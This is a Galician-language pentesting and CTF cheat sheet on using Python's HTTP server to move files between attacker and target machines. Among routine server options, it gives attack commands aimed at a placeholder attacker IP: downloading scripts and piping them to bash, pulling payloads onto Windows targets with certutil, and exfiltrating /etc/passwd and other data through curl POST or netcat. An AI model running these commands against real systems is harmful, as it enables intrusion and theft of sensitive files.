Python HTTP Server - Servidor Web Simple
Descrición
Módulo de Python para crear un servidor HTTP simple. Ferramenta esencial para transferir ficheiros entre máquinas durante pentesting e CTFs.
Sintaxe básica
Python 3
Python 2 (obsoleto)
Opcións principais
| Opción | Descrición |
|---|---|
porto |
Porto a escoitar (por defecto: 8000) |
--bind <IP> |
IP específica a escoitar |
--directory <dir> |
Directorio a servir (Python 3.7+) |
Exemplos de uso
Servidor básico
# Servidor no porto por defecto (8000)
python3 -m http.server
# Servidor nun porto específico
python3 -m http.server 8080
python3 -m http.server 80 # Require sudo
# Servidor en IP específica
python3 -m http.server 8000 --bind 192.168.1.100
# Servidor desde directorio específico (Python 3.7+)
python3 -m http.server 8000 --directory /tmp/files/
# Python 2 (se non hai Python 3)
python -m SimpleHTTPServer 8000
Acceso desde cliente
# Listar ficheiros (desde navegador ou terminal)
http://IP_ATACANTE:8000/
# Descargar ficheiro específico
wget http://IP_ATACANTE:8000/linpeas.sh
curl http://IP_ATACANTE:8000/exploit.py -o exploit.py
curl -O http://IP_ATACANTE:8000/payload.exe
Workflow de transferencia de ficheiros
Desde atacante cara obxectivo
# 1. Na máquina atacante:
cd /path/con/ficheiros
python3 -m http.server 8000
# Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
# 2. Na máquina obxectivo:
# Con wget
wget http://IP_ATACANTE:8000/linpeas.sh
chmod +x linpeas.sh
# Con curl
curl http://IP_ATACANTE:8000/exploit.py -o exploit.py
# Descargar e executar directamente
wget http://IP_ATACANTE:8000/script.sh -O - | bash
curl http://IP_ATACANTE:8000/script.sh | bash
# Múltiples ficheiros
wget -r http://IP_ATACANTE:8000/
Desde obxectivo cara atacante (exfiltración)
# Na máquina obxectivo (onde están os datos):
cd /path/con/datos/sensibles
python3 -m http.server 8000
# Na máquina atacante:
wget http://IP_OBXECTIVO:8000/sensitive_data.txt
curl http://IP_OBXECTIVO:8000/database_backup.sql -o backup.sql
# Descargar directorio completo
wget -r -np -nH --cut-dirs=0 http://IP_OBXECTIVO:8000/
Casos de uso específicos
Servir exploits e payloads
# Organizar ferramentas
mkdir ~/tools
cd ~/tools
cp /usr/share/windows-resources/binaries/nc.exe .
cp ~/payloads/payload.exe .
cp /opt/linpeas/linpeas.sh .
# Iniciar servidor
python3 -m http.server 80 # Porto 80 require sudo
# Desde obxectivo Windows
certutil -urlcache -f http://IP_ATACANTE/nc.exe nc.exe
powershell wget http://IP_ATACANTE/payload.exe -O payload.exe
# Desde obxectivo Linux
wget http://IP_ATACANTE/linpeas.sh
curl http://IP_ATACANTE/exploit -o exploit
Servidor HTTPS (con SSL)
# Crear certificado autofirmado
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# Script Python para HTTPS
cat > https_server.py << 'EOF'
import http.server
import ssl
server_address = ('0.0.0.0', 4443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
server_side=True,
certfile='server.pem',
ssl_version=ssl.PROTOCOL_TLS)
print("Serving HTTPS on 0.0.0.0:4443")
httpd.serve_forever()
EOF
python3 https_server.py
# Descargar desde HTTPS
wget --no-check-certificate https://IP_ATACANTE:4443/file
curl -k https://IP_ATACANTE:4443/file -o file
Servidor con autenticación
# Script Python con Basic Auth
cat > auth_server.py << 'EOF'
from http.server import HTTPServer, SimpleHTTPRequestHandler
import base64
class AuthHandler(SimpleHTTPRequestHandler):
def do_AUTHHEAD(self):
self.send_response(401)
self.send_header('WWW-Authenticate', 'Basic realm="Test"')
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
auth = self.headers.get('Authorization')
if auth == None:
self.do_AUTHHEAD()
self.wfile.write(b'No auth header')
elif auth == 'Basic ' + base64.b64encode(b'user:pass').decode():
SimpleHTTPRequestHandler.do_GET(self)
else:
self.do_AUTHHEAD()
self.wfile.write(b'Auth failed')
httpd = HTTPServer(('0.0.0.0', 8000), AuthHandler)
httpd.serve_forever()
EOF
python3 auth_server.py
# Acceder con autenticación
wget --user=user --password=pass http://IP:8000/file
curl -u user:pass http://IP:8000/file
Servidor con upload (recibir ficheiros)
# Script Python para recibir ficheiros
cat > upload_server.py << 'EOF'
from http.server import HTTPServer, BaseHTTPRequestHandler
class UploadHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
filename = self.headers.get('filename', 'uploaded_file')
with open(filename, 'wb') as f:
f.write(post_data)
self.send_response(200)
self.end_headers()
self.wfile.write(b'File uploaded successfully')
httpd = HTTPServer(('0.0.0.0', 8000), UploadHandler)
print("Upload server running on port 8000")
httpd.serve_forever()
EOF
python3 upload_server.py
# Enviar ficheiro desde cliente
curl -X POST -H "filename: exfil.txt" --data-binary @/etc/passwd http://IP_ATACANTE:8000/
Combinacións útiles
Con netcat para recibir ficheiros
# Alternativa con nc se Python non está dispoñible
# Receptor (atacante)
nc -lvnp 4444 > received_file
# Emisor (obxectivo)
cat file | nc IP_ATACANTE 4444
Servidor en segundo plano
# Executar en background
python3 -m http.server 8000 &
# Ver procesos en background
jobs
# Traer a primeiro plano
fg
# Deter servidor
kill %1
# Con nohup (persiste despois de cerrar terminal)
nohup python3 -m http.server 8000 &
Logs do servidor
# Redirixir logs a ficheiro
python3 -m http.server 8000 > server.log 2>&1
# Ver logs en tempo real
python3 -m http.server 8000 2>&1 | tee server.log
# Exemplo de logs:
# 192.168.1.50 - - [15/Nov/2024 10:30:45] "GET /linpeas.sh HTTP/1.1" 200 -
# 192.168.1.50 - - [15/Nov/2024 10:31:20] "GET /exploit.py HTTP/1.1" 200 -
Seguridade e boas prácticas
# Servir só localhost (non exponer a rede)
python3 -m http.server 8000 --bind 127.0.0.1
# Servir directorio específico (non home)
mkdir /tmp/transfer
cd /tmp/transfer
python3 -m http.server 8000
# Usar porto non estándar
python3 -m http.server 9999
# Deter servidor despois de usar
# Ctrl+C ou kill proceso
Alternativas
# PHP
php -S 0.0.0.0:8000
# Ruby
ruby -run -ehttpd . -p8000
# BusyBox (en sistemas embebidos)
busybox httpd -f -p 8000
# Node.js
npx http-server -p 8000
# updog (Python, con UI mellor)
pip3 install updog
updog -p 8000
Troubleshooting
# Porto en uso
# Error: OSError: [Errno 98] Address already in use
# Solución: Usar outro porto ou matar proceso
lsof -i :8000
kill -9 <PID>
# Permiso denegado porto < 1024
# Error: Permission denied
# Solución: Usar sudo ou porto > 1024
sudo python3 -m http.server 80
# Non se pode conectar
# Verificar firewall
sudo ufw status
sudo ufw allow 8000/tcp
# Verificar IP correcta
ip a
ifconfig
Notas adicionais
- Python HTTP Server é a forma máis sinxela de transferir ficheiros
- Serve o directorio actual por defecto
- Útil para servir exploits, scripts e payloads
- Tamén útil para exfiltrar datos (servidor no obxectivo)
- NON usar en produción - só para testing/CTF
- O servidor mostra logs de cada petición (útil para debugging)
- Combinar con ngrok para exponer servidor local a Internet
- Porto 8000 é estándar, pero calquera porto funciona
- Require Python instalado (case sempre presente en Linux)
- Para Windows obxectivo, considerar
certutil,powershell wget, oubitsadmin